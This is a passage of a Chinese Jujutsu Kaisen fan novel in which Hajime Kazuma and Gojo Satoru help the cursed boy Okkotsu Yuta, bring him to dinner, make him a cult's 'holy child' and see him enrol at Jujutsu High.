尤其妹妹之前也险些因为[里香]受伤,但从来没有怪罪过他——正因如此,乙骨忧太反而愈加感到自责与痛苦。 包括下午来过家里的那个人也是,明明想要帮助他,却同样差点被[里香]伤害。 ……是他又来了吗? “咦,奇怪,睡着了吗?不应该啦,我哥最近偶尔露面的几次,我都看见他挂着两个超重的黑眼圈了,根本没怎么睡过觉的样子。” 门外的声音变小了些,大概是在同来的人交谈。 没关系的,乙骨忧太在心里闷闷的想道。只要他坚持不开门,对方就会知难而退,然后再也不来管他的事情了。 “确定他在里面?” 有一个陌生的声音响起,是成年男性的低沉声线,不急不缓的话语偏冷,光听上去就感觉对方可能并不怎么好相处。 乙骨忧太莫名有点紧张,接着又认为自己是在过度胡思乱想。 门外,妹妹还在回答那人的话。 “啊是的,但他把门反锁了,我们进不去。” “嗯,我知道了。” 那个声音停顿片刻,又说道:“你们站远点。” 站远点?不仅是门外的人,乙骨忧太也跟着困惑起这句指令,连被那些自毁倾向极重的负面情绪所占据的大脑,都短暂地将注意力集中到门那边—— ——砰! 一声剧烈的硬物撞击声轰然响起,随之而来的是木质门板被不知道什么东西生生砸出一个大洞! “……!??!!” 乙骨忧太惊愕到张大嘴,眼睁睁看着有一只穿着和服的手穿过那个偌大的窟窿,反过来摸到那个锁扣,拧开。 除去一开始的暴力破坏别人家的房门外,这些剩余的步骤皆做得慢条斯理,显得礼貌极了。 那人竟然还特意先屈指敲了敲门,然后再推开的! 别说乙骨忧太彻底惊呆,站羽取一真身后的米格尔和乙骨妹妹也同样吓得不轻,瞪着两双眼睛愣愣看向他。 “我会双倍赔偿。” 羽取一真对这位乙骨忧太的妹妹歉意点了点头,“情况紧急,办法粗暴了些。” “啊……这个……啊,好的,没关系,您请继续……” 头一次见到这种不回应就直接拆门的利落手段,乙骨妹妹完全没回过神来,答得也是前言不搭后语。 “你先离开这里,” 米格尔的适应力要比乙骨妹妹强很多,此刻已经开始催促她快点走,“等会要是那个怨灵又闹起来,你可别被伤到了。” 见乙骨妹妹点了点头,噔噔噔跑下楼梯,羽取一真也终于开始打量起那位缩在房间角落的乙骨忧太。 他没有开灯,窗帘也全部拉紧,隔绝了所有能够照亮房间的办法——几乎要彻底与黑暗融为一体。 羽取一真摸到墙上的开关,随手把天花板的那盏灯打开了。 乙骨忧太反而不习惯房间突然变得明亮,条件反射侧过脸去,想要躲开这道令他感到刺眼的光线。 但站在门口的那道青年身影,尤其是他的样貌…… 乙骨忧太隐隐感觉很熟悉,却完全想不起来自己到底在哪见过。 “我是羽取一真,”对方向他做了个简短的自我介绍,“来帮你化解诅咒。” 羽取一真……羽取一真……羽取…… ——电光火石之间,乙骨忧太下意识脱口而出。 “你是跟五条悟在一起的那个……!” 知道悟作为明星至今仍被人念念不忘的羽取一真停顿片刻,淡定认下。 “对,是我。” 压根不关注娱乐圈的米格尔则瞪大眼睛,难以置信。 “慢着慢着,怎么连这小鬼都知道你们的事!?” 170-180 第171章 羽取一真沉默看了米格尔一眼, 想说乙骨忧太口中的“在一起”,和这家伙知道的“在一起”,大概率并不是同一个意思。 但乙骨忧太误会了米格尔的那句话——毕竟对方看长相是黑色人种, 讲话又是明显的外国口音。 大概是不知道眼前这位羽取一真曾经有一段朝火爆的明星过往吧…? 不如说, 竟然能在自己家里看见早已“退圈”的大明星的乙骨忧太,情绪同样混乱极了。 尤其是羽取一真刚才暴力拆开的房门还摆在那里,豁口的顶端带着半块没有掉下来的木茬,摇摇晃晃坠着,随走廊通来的风而发出轻微的吱呀声。 “就是,那个, 唱了超有名歌曲的二人组……” 乙骨忧太很局促地缩在角落里,也相当有礼貌的给米格尔解释起来——虽说讲话还有些磕巴与怯懦, 但至少愿意开口交流了。 “尤其是海报和唱片CD……学、学校的女孩子经常会在课间拿出来讨论……我…我还借过一次……” 越说到后面, 声音越小, 似乎格外不好意思被正主发现自己之前特意借CD来听他们唱的《FIND》。 只这一首由他们作词并发售唱片的歌曲, 津地智也那边每月都会定时给他们打一笔或多或少的版权费,从十年前一直持续到现在, 始终不变。 荒生润子与矢野加奈,真的送了他们一份非常贵重的谢礼。 哪怕羽取一真脱离盘星教,或五条悟不再当咒术师,他们也拥有足够生活得很好的基础资金。 不过, 羽取一真倒也没想到连乙骨忧太都听过他们唱的歌, 甚至对他与五条悟记忆深刻。 “唱歌?你竟然还当过歌手?” 米格尔依旧在那边吃惊,但羽取一真不打算多做解释, 而是直接跳到当前乙骨忧太最关心的话题。 “你中的那个诅咒,悟说有办法化解。” “真的吗…!” 听到这句话的乙骨忧太表情顿时写满了不敢置信,但羽取一真没有等他仅需说点什么, 进一步复述五条悟对他说过的内容。 “俯身在你身上的诅咒与你交缠,可以类比为诅咒者与被咒者之间用咒力打出了无数个绳结。而你要做的是需要解读这些绳结,将它们逐一解开。” 这句话从字面意思来说非常好懂,但放在完全不懂【诅咒】的乙骨忧太身上,只能让他听得彻底傻眼。 “具体是要我怎…怎么做……?” 什么诅咒,什么咒力……他完全没有听过。 羽取一真默默盯着乙骨忧太,无法回答——他迄今为止都看不见【咒力】这种玩意,怎么会知道应该怎么做? 悟当时好像是突然有什么事情要忙,说完这句就和他说等等哦,接着挂断了电话。 他还以为这句话放在能感知到咒力的术师身上,是一听就懂的高人点拨式教学呢。 委托的进度也毫无反应,仅这一句提示并不能解除乙骨忧太身上的诅咒。 不过,这点小问题也难不倒羽取一真。 他沉吟片刻,对乙骨忧太说道:“我并不擅长教人,或许你可以等悟不忙的时候,请教他应该怎么做。” “他目前在咒术高专当老师,最优秀的那种。” 略作停顿,羽取一真又与有荣焉地补充了一句对悟的称赞,哪怕语气再平淡,都能听出他感到十足的骄傲。 “啊,这样的话……我……!” 虽然乙骨忧太还听不懂什么是[咒术]或[咒术高专],但他潜意识就信任自己喜欢的偶像,兴奋得不自觉站起身——却在单手扶着墙壁僵硬片刻后,又颓丧坐了回去,重新抱膝缩回角落里。 “不、不行,我出去的话,又会有人受伤的……” 拥有强大却不受控的力量,第一反应是不能波及无辜,哪怕毁掉自己也无所谓。 或许乙骨忧太眼下的性格在许多人看来都太过被动、消极与懦弱,但羽取一真相信就算悟过来看见他,也会笑着夸赞忧太是本性很好的孩子。 他们都不是那种拥有毁灭性力量就变得恣意妄为、作恶还要自我标榜这是属于“强者的自由”的家伙。 “不要紧,”羽取一真淡淡道,“既然我和米格尔站在房间里这么久都没有反应,说明你的诅咒并不是无差别攻击。” 自家老板站在如此恐怖的诅咒身边,竟然还泰然自若的说着什么“不要紧”,米格尔整个人都快听僵硬了。 他气势很弱的接了句吐槽:“确实没有攻击,但我现在已经吓得汗都快把衣服湿透了……你没发现缠绕在这乙骨小鬼身上的诅咒气息特别惊人吗,还有他身后那个都快实体化的黑影,我光是站这里就感觉呼吸不顺畅……” 羽取一真瞥了他眼,脸上没什么反应:“你可以先出去等着。” 他又感知不到咒力,眼里看见的只有乙骨忧太一个人坐在角落里,可怜巴巴的朝这边看过来。 “那我先去外面了!” 米格尔反而求之不得,一溜烟就跑走了,留下羽取一真和乙骨忧太两个人在房间里。 乙骨忧太看见之前来帮过他的那个黑人大哥哥如此害怕的离开了,整个人更是往角落里又缩了点,神情低落。 “果然还是不行……” 羽取一真仔细看了看都快哭出来的乙骨忧太,发现他真的格外容易滑入消极情绪里。 不过,他的好友御子柴也半斤八两——在女生面前总是会感到羞耻和慌张。 “那是米格尔太胆小了,和你没什么关系。” 羽取一真正说着,手机响了,是五条悟打来的电话。 “哎呀——抱歉哦,刚才去处理了点事情呢,金次,啊就是我之前和你提过的那个喜欢把人生当赌博对待的一年级学生,他玩弹珠机把老板输急眼了,跟他在店里打起来,结果又差点把老板揍得半死,喊我过去帮忙……” 五条悟在电话那端说着说着,险些把自己说得笑起来,干咳了一声才将话题拉回现在,“你呢,有成功见到那位被诅咒的少年吗?” 羽取一真“嗯”了声,将手机的外放打开,“他叫乙骨忧太。” 说完这句,他又对乙骨忧太提醒道,“悟打来的。” 乙骨忧太连忙低头作出鞠躬的姿态:“您好,我是乙骨忧太……那个,一直都特别仰慕您,还有羽取先生……” 说到后面,他几乎有点语无伦次了,感觉大脑都在跟着不断升腾的热气而蒸发。 “哈哈,”五条悟乐出了声,再开口时的语气格外俏皮,“回头给忧太签名哦。好啦好啦,先来聊聊你的诅咒问题,一真过去时有被袭击吗?” 羽取一真摇头:“没有。” 他将刚才发生的事情从头到尾复述了遍。 当五条悟听到乙骨忧太不给开门,羽取一真的解决办法是破门而入时,没忍住又漏出几声愉快的低笑。 “我明白啦,忧太那个诅咒的触发条件大概率是[忧太本人即将受到伤害]。” 五条悟捏着下巴思索,“这个判断条件有些奇怪,听上去不像是对忧太的怨毒诅咒,更接近一种保护。忧太,你对这个诅咒的来源有什么头绪吗?换句话说,你什么时候发现自己被诅咒了?” 乙骨忧太抱紧膝盖,对着这两位想要帮助他的偶像沉默许久后,终于下定决心说出那段无人知晓的过往。 “那是,五年前……快要六年前发生的事情。” 他的幼时是在宫城县仙台市度过的,与青梅竹马——祈本里香一同长大,并在生日那天许下[长大后会和里香结婚]的约定。 但没过多久,祈本里香就在他的面前遭遇车祸身亡。 在那时,有暗色的血泊一直延伸至他的身前,从里面爬出的却并非神明或鬼怪,而是…… “[里香]。” 乙骨忧太小声念出这个名字,“不知道为什么,我在内心认定它就是里香……而且,它说的话也和里香一样。” “人死后也会变成诅咒?”羽取一真还是第一次听说能发生这样的事。 “不,通常来说不会。虽然非术师无法控制咒力溢出,积累的负面情绪也容易诞生咒灵;但普通人死前就算再如何诅咒另一个人,也很难让自身形成等级强大的诅咒。” 五条悟摇头,“如果那位里香是术师倒能说得通了,术师必须要用咒力杀死,否则很容易在死后转变成诅咒。” 出车祸确实符合[没被咒力杀死,因此转化成诅咒]的条件。 “可普通的非家系术师也不至于死后变成特级过咒怨灵啊……嗯,我会去查一下里香家的族谱哦,看看她祖辈是否有咒术师的血脉。” 乙骨忧太有点卡壳:“特、特级过咒怨灵?” “啊,就是在称呼你那位[里香]啦,”五条悟笑眯眯道,“老实说怨灵我以前也不是没遇见过,但根据一真的形容,像你这种达到特级的,还是头一回听说呢。” “那,解咒的办法……” “嗯嗯,也有办法哦,不过我需要先看看忧太的实际情况——啊,不如今晚你也来我们家吃寿喜锅吧?你喜欢吃里面的什么?顺带一提,我最喜欢吃吸饱汤汁的甜甜油豆腐!” “寿……寿喜喜锅?” 乙骨忧太的大脑都快不会运转了,完全不懂话题是如何从听起来就很不妙的[特级过咒怨灵]跳跃到讨论[寿喜锅里的哪种菜最好吃]。 话说回来,普通的寿喜锅好像也不放油豆腐吧……不对,他真的要去吃吗?里香不会又跑出来伤人吗……? 乙骨忧太还在发呆,但羽取一真发现时间确实不早了,和悟确认他还在和弹珠机店的老板协商赔偿、一时半会回不去后,主动挂掉电话。 “走。” 一个简明扼要的字,令乙骨忧太茫然抬头,“去……去哪里?” “还用说,”羽取一真奇怪看他一眼。 “当然是去买煮寿喜锅的食材。” 第172章 真、真的打算邀请他去吃寿喜锅……? 自从那件事发生之后, 已经很久很久没有人愿意邀请他一起玩了。 乙骨忧太在确认自己真的要跟对方出门时,表情立刻慌乱无比;但另一方面,他又能从羽取一真对待他的态度里获得某种微妙的安定感。 哪怕里香跑出来, 他、他们也一定有办法对付的吧? 而且, 也是那位五条先生主动邀请他的……甚至有办法解决里香的问题。 羽取一真等了他片刻,好让乙骨忧太能去快速洗个澡,又换好一身清爽干净的衣服,才跟着他下楼。 “啊,忧太哥哥!你终于愿意出来啦!” 乙骨妹妹正和米格尔坐在客厅沙发上等他们,见到自家哥哥竟然真的跟在羽取一真后面走出了房门, 高兴得蹭一下站起来。 “抱歉……让你担心了。”乙骨忧太歉意朝她笑了笑,“我有点事情要和羽取先生……出去一下。” “没事啦, 爸爸妈妈看到也会放心的!”乙骨妹妹朝他挥挥手, “晚上不回来吃饭吗?” “嗯, ”羽取一真朝她应了声, 也对米格尔说,“你可以回去了。” 与毫无察觉的乙骨妹妹不同, 米格尔几乎是随着乙骨忧太的逐步靠近而不停在朝大门后退。 一听羽取一真放他走,米格尔更是如释重负,抬手说了句“那我就先拜拜哟”,开门撤身溜得比谁都快。 乙骨忧太看着已经跑走的米格尔, 目光又忐忑转向羽取一真。 “要不, 我还是……”留下来吧。 “没关系,要相信悟的判断。” 羽取一真的神情依旧平淡, 根本不将米格尔的反应放在心上,连带将乙骨忧太那颗悬起的心也放回去一些。 “只要没有人袭击你,里香就不会出来。” 乙骨忧太又张了张嘴, 想问些什么又说不出口,只好跟着羽取先生出门,去超市采购满满两大袋食材——他负责拎其中一袋——然后坐地铁去羽取先生与五条先生的家。 刚开始看着地铁竟然是朝市区方向行驶时,他还兀自担心过是不是羽取先生坐反了方向。 结果,羽取先生竟然真的带他来了一栋周边绿化超好的高档公寓楼面前……还是在繁华地区! 乙骨忧太从门外一路看到大厅内部,眼睛都瞪大了——尤其是被前台小姐姐笑着对他们打招呼时,感觉自己紧张到快要不能呼吸。 脚下的地毯踩起来也好软…… “别傻站着,快进来。” 羽取一真按住电梯的开关,等乙骨忧太几步赶紧跨进来后,再按下楼层数字。 深冬的太阳下山很早,当羽取一真打开家里的灯与暖气时,落地窗外亦是大片亮起的霓虹光彩,有碎雪逐渐飘落。 趁悟还没有到家,羽取一真让乙骨忧太去沙发坐着看电视,自己则换了身轻便的居家服,开始准备寿喜锅的食材。 先将胡萝卜、娃娃菜、茼蒿、香菇和豆腐之类的蔬菜洗干净切好,跟牛肉卷与魔芋丝之类开盒即用的食材一同装盘放在餐桌上——悟喜欢吃的油豆腐更是买了满满一大碗。 在玩这款游戏前,他几乎不会做饭,连上学时的午饭都是买面包搞定;如今的羽取一真则愈发得心应手,早已不再需要系统辅助。 连后来做的巧克力蒙布朗都被悟夸大有长进呢。 看着那边忙碌的羽取先生,乙骨忧太端着遥控器来回切换两下电视频道,实在感觉自己坐不住,过来帮他一起准备。 羽取一真看他动作意外的熟练,便没有拒绝。 等他们煮好寿喜锅汤底,将这些食材逐一铺进去时,正好大门打开,有冰冷寒气裹着高挑身影迈步而入,“我回来啦——唔哇,好香耶!” 与此同时响起的还有一道轻快的声音,乙骨忧太猜测是五条先生——但他还没来得及将目光转向门口,就先发现始终面无表情的羽取先生,此刻脸上竟然露出了浅淡的、柔和的笑意。 “欢迎回来,悟。” 乙骨忧太瞳孔地震。 羽取先生的这个差别对待实在太过明显……连声音都和跟他说话时不一样了! 而终于回家的五条悟也脱下那件纯黑的外套,将它挂在玄关的衣帽架上,过来帮羽取一真完成开饭前的最后一点收尾工作。 “呀——你就是忧太吧?很惊人哦,我在楼下就能感知到你身上的诅咒气息呢!哇,这可真是不得了啊,现在的年轻人。” 五条悟还和他邀请来做客的乙骨忧太打招呼,遣词用语超级随意,没有半点年长者的架子。 乙骨忧太端着空碗正往餐厅走,听到五条先生在对他说话,匆忙朝人欠身行礼,“那个,我来打扰了,不好意思……” 当、当然,也不是说羽取先生有在对他摆架子,只是对方在绝大多数时候都没什么表情,气场也相当冷淡…… “哈哈,没事没事,是我喊你过来的嘛。” 五条悟笑眯眯着摆手,又将墨镜摘下来,用那双漂亮的苍瞳仔细端详乙骨忧太——直把后者从浑身僵硬,看到忍不住后退一步。 “那、那个,五条先生……” “嗯嗯,我大概明白了,”五条悟微微颔首,“你啊,确实被不好惹的特级诅咒缠上了呢。” “欸!?” “不过别担心,只要你能学会控制咒力,逐步吸收这份诅咒为己用,这也不是什么无法解决的难题。里香变成了你的过咒怨灵这件事确实很糟糕,正因如此,你才要努力化解诅咒,不仅是为你,也为了她。” “我…我知道了,我会努力的。”乙骨忧太握紧手里的碗,还是出声询问五条先生,“为什么,只有我会……” 羽取一真将烧开的寿喜锅端到餐桌的电磁炉上,也很好奇乙骨忧太被诅咒的缘由。 “这个嘛,” 五条悟想了想,再开口时的语气低沉而认真。 “我个人认为,这世上没有比爱更扭曲的诅咒了。” ——空气寂静,仅有寿喜锅在发出咕嘟冒泡的动静。 乙骨忧太露出几乎要哭出来的表情,抬手握住颈间的那枚指环吊坠。 “我会努力的。” 他又复述一遍自己刚才说出口的话,眼中信念坚定。 “加油,”五条悟拍拍他肩膀,笑着竖起食指,“话说,忧太要不要考虑下明年来高专呢?” 乙骨忧太茫然眨巴了下眼:“咦,高专?” 五条悟“嗯嗯”两声:“我下午特意打电话问过夜蛾校长,他说你前几天闹出的动静太大,总监部那边同样收到消息了哦,本来打算派出术师调查的,被我主动接手啦。” 乙骨忧太:“但是,我担心……” 五条悟:“和你一起就读高专的同学啊,都是需要学习咒力相关知识的同龄人,大家不会用怪异目光看你的。何况你还需要学习如何控制咒力吧?高专就是这样一个教你认识诅咒、祓除诅咒的地方哦。” 五条悟的话实在很有道理,乙骨忧太的内心只是稍微挣扎片刻,很快就被说服了,同意明年四月份去读东京咒术高专。 其实乙骨忧太也清楚,当里香将那四个霸凌者塞入储物柜时,他就已经没办法继续就读那所学校了。 “不要紧吗?”只有羽取一真小声问五条悟,“那些老头有没有刁难你?” 虽然五条悟对乙骨忧太说得轻描淡写,但羽取一真知道悟的习惯——他向来是不会让学生背负压力的,讲话也十分照顾对方的心理状况。 而羽取一真也很了解咒术界的规矩:在闹出了[致使多位非术师重伤]的恶性事件后,乙骨忧太更有可能被判决成诅咒师,而后执行死刑。 “没事没事,”五条悟笑着跟羽取一真咬耳朵,二人贴得极近,“我感觉他们是想反驳我的决定,但过半天都没动静,好像又闷不吭声的憋回去了。” ——要是换做以前,早就气得当场跳起来斥责他了。 “那就好。” 哑然失笑的羽取一真想起自己之前给首座的命令,看来是在这种时候派上了用场。 但还是不够保险,等回头联系下禅院直哉,看看有没有哪个老东西敢在背地里抱怨悟。 至于今晚,这顿寿喜锅吃得分外热闹,乙骨忧太很快就被五条悟带得放松下来,不时发出几声赧然笑意。 “哈哈哈,还有那个啊,最近不是超流行那个预言吗,诺查丹玛斯大预言。之前我发给一真看时,他竟然说他四年前就听过耶!” 五条悟先夹了一块又甜又多汁的油豆腐放到羽取一真的碗里,才给自己也夹了一块——整套动作熟稔无比,好似已成为某种刻在习惯里的肌肉记忆。 “确、确实很流行,”乙骨忧太小心翼翼从锅里夹了块摇摇晃晃的豆腐。 “自死亡中归来的浴火凤凰已化作复仇的怨灵,而它拥有摧毁整个世界的力量……班上同学都挺害怕的,觉得日本还有两年要毁灭了。” “竟然真的这么流行啊,”五条悟沉吟片刻,“在这么多堆积起来的负面情绪下,竟然没有诞生咒灵吗?唔……有点奇怪。” “奇、奇怪?”乙骨忧太问。 “嗯,不过这个传闻的时间和地点都太明确啦,只要等两年后的新宿无事发生,这个流言就会彻底沉寂下去了。” 五条悟咬一口油豆腐,心满意足眯起眼,“就像之前的玛雅预言那样。” 遑论以他的实力,就算真的在新宿出现了什么强大的咒灵,五条悟也有信心将它祓除。 等那日到来之前,还是现在和大家一起吃寿喜锅比较开心—— “哎呀,窗外的雪下得好漂亮。话说回来,是不是快要到圣诞节了?” “那个……明天就是圣诞节。” “什么?啊糟糕,最近忙过头忘时间了,我什么都没来得及准备…!” “其实我有准备给悟的礼物……” “!!!” 第173章 五条悟敲定乙骨忧太在明年四月就读高专的计划, 又担心总监部那群人从中作梗,私下安排人对乙骨忧太执行秘密死刑。 里香的力量到底有多大,他们至今尚不清楚。 可他自己要忙的事情实在太多, 只能拜托让羽取一真帮忙在入学前照看下忧太。 羽取一真答应了, 并想出一个绝妙的主意。 “你之前是不是一直都没能好好上学?我可以辅导你从初中到高中的全部功课。” 现实世界的优秀高中生·羽取一真跟乙骨忧太商量,“米格尔也可以教你一些关于咒力的基本知识。” “作为回报,你来当盘星教的圣子,然后帮我接待那些来访的信徒与香客,还有举行一些祷告仪式之类的事情也都交给你。” 这些以前都是夏油杰的活,等他走后全部落到了羽取一真身上。 而他早就做得不耐烦了, 又找不到合理的借口甩掉这部分工作内容。 羽取一真也一直想找个新圣子来帮忙顶缸,但始终没有物色到合适的人选——他之前还想过要是实在找不到人, 就去问问伏黑惠愿不愿意兼职干一段时间。 眼下正好, 乙骨忧太不就是个很完美的人选吗? “欸, 我我我我……我当圣子吗??” 反而是乙骨忧太听见这话, 把手里的圆珠笔都吓得甩飞了出去,又手忙脚乱的赶紧捡回来。 “嗯, 你可以试试。”羽取一真说,“没事的,虽说我在咒术界那边是诅咒师,但你跟我走得比较近点会比较好。” 虽说他后来打电话给禅院直哉, 确认总监部真的没有在背地里批评悟——也有可能是他们被杀怕了, 开始警惕钓鱼执法。 但倘若总监部真的打算对乙骨忧太做点什么,那还是提前把乙骨忧太划分成“羂索”的人能安全许多。 乙骨忧太并不知晓羽取一真之前冒充羂索去使唤总监部的事情, 直觉上却又无比相信帮了他大忙的羽取先生,便没怎么犹豫就答应下来。 “啊,那、那我就努力试一试。” “我相信你能做到的。” 羽取一真的心情非常好。 乙骨忧太要到明年四月才会去高专上学, 意味着他成功给自己批了至少半年的假期。 而自从2012年的[百鬼夜行]之后,羽取一真始终没有搜寻到夏油杰的下落,不清楚他在背地里做些什么。 这其实不太妙,羽取一真总有些担心未来会朝着上周目的方向发展。 他在上周目与[夏油杰]同归于尽得太早了,根本无从知悉原本的故事剧情会如何进行。 即使去现实世界也同样,他搜索不到关于《咒术模拟器》的任何信息;即使跑去那间音像店询问店员,也只会换来迷茫的眼神与一句“抱歉,我卖过这个游戏吗?”。 羽取一真颇有点束手无策,只能先想办法找到夏油杰。 但夏油杰同样格外谨慎。 他知晓羽取一真拥有外貌拟态的咒具,与以往认识的那些人皆断绝了联络;他也清楚盘星教的人一直在找他,行动间几乎不与普通人接触。 “还没有到我出场的时候。” 当身旁这位同样身穿袈裟、有着梅红挑染的白发诅咒师向他提出质问时,继承羂索遗志的夏油杰如此答道。 “特级过咒怨灵确实很吸引人,但那并不是我们的目标……至少,不可能是你的目标吧?” “请再耐心一点,里梅。” ……… 乙骨忧太入学高专前的这半年,过得风平浪静。 他确实在盘星教圣子这个职位上干得格外努力——至少比当年的羽取一真卖力得多——盘星教的教众最初还对他有所质疑,但很快就接纳了这位性格内敛而温吞、做事却相当勤恳的少年。 连最开始对教授他咒力与体术这件事不情不愿的米格尔,后来都对乙骨忧太的评价很高。 按照五条悟的指导,乙骨忧太先借助他与里香做约定时的戒指来稳定构建稳定的媒介,接着需要依靠武士刀来逐步化解诅咒,直至全部将它吸收成自己的力量。 这是一个相当漫长的过程,更别提乙骨忧太在学习使用武士刀之余,还得锻炼那具米格尔与五条悟都评价为[实在太弱]的身体。 但至少在这段极为忙碌的半年里,获得了许多善意的乙骨忧太的性格终于变得开朗不少,说话时也拥有了更坚定的自信。 他的家人还特意前来盘星教感谢过羽取一真与五条悟他们。 原本他们还掏出钱包就说要供奉一大笔作为谢礼,被羽取一真拒绝了。 毕竟严格来说,他让还没到16岁的乙骨忧太当圣子给盘星教打工这点,属于微妙地踩在了法律允许的边缘……但反正这里是游戏,就不过多纠结了。 之前说帮忙查祈本里香家谱的五条悟,还带来过另一个相当震撼的消息。 “哎呀——里香那边的家谱没什么特别的啦,反而是忧太这边,废了我好一番功夫才彻底搞清楚哦——” 五条悟啪啪拍着乙骨忧太的肩膀,笑容灿烂又清爽。 “原来你是菅原道真的子孙哦,虽然和我的关系超远,但也算是我的亲戚呢!耶!” 内容先不提,但悟笑得实在太可爱了,站在旁边的羽取一真默默掏出手机,打开拍照功能,对准自家恋人,熟练地找好角度。 咔嚓咔嚓。 无法静音的响亮拍照动静引来了五条悟的目光——随即,他冲镜头笑着伸出手,给羽取一真比了个大大的爱心。 “要把我拍帅点哦!” “赌上我的性命。” 乙骨忧太被秀了满脸,只能在心里默默吐槽“拍个照怎么也不至于赌上性命……”,可惜那两人正一个摆姿势一个拍照得起劲,暂时都没有空理他。 此时此刻,羽取一真就像养猫后手机里就会自动多出一大堆猫猫视频与照片的铲屎官,往往脑子还没有反应过来,手先按下了快门键。 直到双方都心满意足,话题才重新回到[乙骨忧太原来是五条悟的远亲]身上。 “总而言之呢,里香只是个普通人,你才是真正拥有术师血脉的那位。” 五条悟对乙骨忧太说道,“不是她死前诅咒了你,而是你诅咒了她哦,忧太。” “我?” 乙骨忧太怔住,条件反射低头看向挂在颈间的那枚戒指——当他回忆起曾经与里香许下约定之时,对比幼童已长开的眉眼低垂间,再度流露出怔然与懊恼交织下的极度悲伤。 明明是里香的灵魂被强行留在他身边,这道垮下肩膀的背影却在此刻显得格外单薄而落寞。 “原来,都是我的错……?我明明,是期望她能成佛的……” “这个嘛……大概是你当时内心所诞生的强烈愿望,促使你无意间使用了咒力,将她留在身边吧。” 五条悟揉了揉他的脑袋安慰,“没关系,能解开的。” 乙骨忧太吸了下鼻子,默默点头。 羽取一真则有些困惑:“如果术师能将普通人的灵魂诅咒成特级过咒怨灵,为什么那些诅咒师不这么做?” 如果说咒术师还有着[不能伤害普通人]的规矩,诅咒师则已经百无禁忌了吧? “不这么做啊,单纯是因为他们做不到。” 五条悟冲羽取一真眨了眨眼——随着他微微偏过脑袋,那双漂亮的苍瞳在墨镜后一闪而逝。 “能将普通人的灵魂强留在身边乃至化作特级怨灵这种事情啊,可不是随便什么术师就能做到哦。” “忧太能做到,是因为他本身就拥有极其庞大的咒力量。” “咦,我吗?”乙骨忧太指着自己。 “是哦,就算没有里香的存在,你本身如果能觉醒好用的术式,肯定也会被评为特级吧?”五条悟捏着下巴沉吟道,“就是不知道你目前拥有什么术式……自己没有感觉吗?” 乙骨忧太努力感受半晌,泄气摇头:“什么也感觉不出来。” “哈哈哈,没事没事。” 当了多年教师的五条悟早已在鼓励年轻人这方面格外得心应手,笑着又拍拍他脑袋。 “忧太毕竟不是从小接触这些东西,就像刚起飞的雏鹰,前期跌跌撞撞一些是很正常的情况——加油哦,我可是看好忧太的。” “……嗯!!” 乙骨忧太被感动得眼泪汪汪点头,正要带着满腔热血、发自内心地说点什么时—— 五条悟将手从他的脑袋上挪开,顺势搭在羽取一真的肩头。 紧接着,他抬起另一只手朝乙骨忧太笑眯眯一挥,顺脚已经在把羽取一真往门外带。 “好啦,接下来的盘星教就拜托忧太帮忙看着咯,我难得有个假期,之后的一整天时间都要跟一真去约会才行。” 等说到最后一句时,五条悟的声音已经飘远。 “就不打扰忧太继续努力啦——” “…………” 乙骨忧太那满腔尚未出口的感动,逐渐被无奈与哑然失笑代替——不想让他背负太大的压力而特意破坏气氛,这也是独属于五条先生的温柔吧。 啊…等开学后,就可以改口喊老师了。 还有帮忙辅导他功课的羽取先生,是不是也能叫老师呢…… 咳,反正他们是恋人,而且又帮了自己这么多,喊声更亲近的老师没有关系吧? 乙骨忧太刚得知五条悟和羽取一真的关系时还被吓一跳——甚至让同样被他反应吓到的米格尔忍不住吐槽“我还以为你早就知道了呢”——如今早已能以十足的平常心面对了。 至于他的高专入学流程,在五条悟的保荐下进行得异常顺利。 经过羽取一真的天狼星清洗计划及羂索冒充行动,总监部的成员早已学乖了,只要五条悟开口就立刻保持沉默,哪怕面对这种杀伤力巨大的危险分子入学也…… “慢着,”终于还是有人只能忍耐80%,憋不住出声道,“老夫并非想唱反对票,但他身负如此恐怖的怨灵,至少该严加看管。” “我在负责看管啊。” 五条悟站在总监部的会议室里,独自面对所有人。 但他仅是侧头瞥过去一眼,就将障子门后的那人吓得一缩,又觉得自己也不是不能忍耐100%。 “康平说的有道理,”首座轻咳一声,出来打圆场。 “高专内能对付特级过咒怨灵的术师仅你一人,至少需要给予其余人适当的提醒。” 在羽取一真数年来施加的暴力威压下,甚至没人敢提一句[必须将乙骨忧太监禁起来看管],大家连说话都经过了小心翼翼的再三斟酌。 至于这个所谓的[适当提醒]…… 当四月来临时,背着剑袋、身穿特制白色校服上衣的乙骨忧太,推开了高专教室的门。 第174章 与普通高专学生的纯黑制服不同, 乙骨忧太在入学前也被询问过是否有想要添加的元素,但上衣使用的颜色却是在一众学生中醒目的纯白。 这就是经过总监部讨论作出的决定:无论发生什么意外状况,必须先第一时间确认乙骨忧太的方位。 五条悟还以为会使用什么特别的手段呢, 原本打算一律拒绝的他沉思半晌, 发现这对忧太来说也没什么损失。 给这些老头一个面子算啦,也不能把他们逼得太紧。 至于入学即给乙骨忧太定为特级术师这回事,五条悟更没有意见。 从客观上而言,他虽然无法断定里香的破坏力具体能做到什么程度;但光凭这股过于庞大的咒力量,忧太被定义成特级也是顺理成章。 倒是在乙骨忧太离开盘星教、准备去高专上学前,米格尔怪舍不得的, 还特意送家乡的纪念品给他。 乙骨忧太握着那个充满异域风格的挂件,颇有些忍俊不禁——但还是将它认真收好。 “我平时有空也会回来看你们啦。”他给大家下保证。 听到乙骨忧太即将要去高专上学后, 常跟他往来的都特意送行。 尤其如今已15岁的菜菜子和美美子, 她们还是初次遇见跟自己差不多年龄的咒术师, 甚至同样遭遇过恶意的暴力霸凌。 因此, 她们对乙骨忧太的处境十分感同身受,经常会来找他一起玩。 虽然她们也很想跟着乙骨忧太一起去念咒术高专, 但由于之前的遭遇使她们晚了一年开始读书,要等到明年中学毕业之后才能接着上高专。 “休息日要记得回来哦!”枷场菜菜子朝他挥手。 米格尔戴着隔绝视线的太阳墨镜,看不见具体的表情,但他其实是特意推掉业务过来送乙骨忧太的, 闻言也环抱起双手, 在旁边跟着哼哼。 “肯定得回来才对吧,这根豆芽菜的体术还完全不合格呢!” 可费了他好一番功夫, 才终于把这小子锻炼得强壮那么一点点——相比半年前刚到这里的时候。 乙骨忧太失笑:“现在应该也没有那么豆芽菜……” 他好歹还长高了三厘米……体重也增加了些。 里香也始终没有出来过——这个说法不太准确,菜菜子和美美子刚来找他时,里香其实有表示出来过对她们的敌意。 但自从乙骨忧太得知是他导致里香灵魂无法成佛时, 对“怨灵里香”的态度就从排斥转变成了内疚,不再抗拒、不再害怕,而是主动以一种温和而包容的态度,开始尝试与对方沟通。 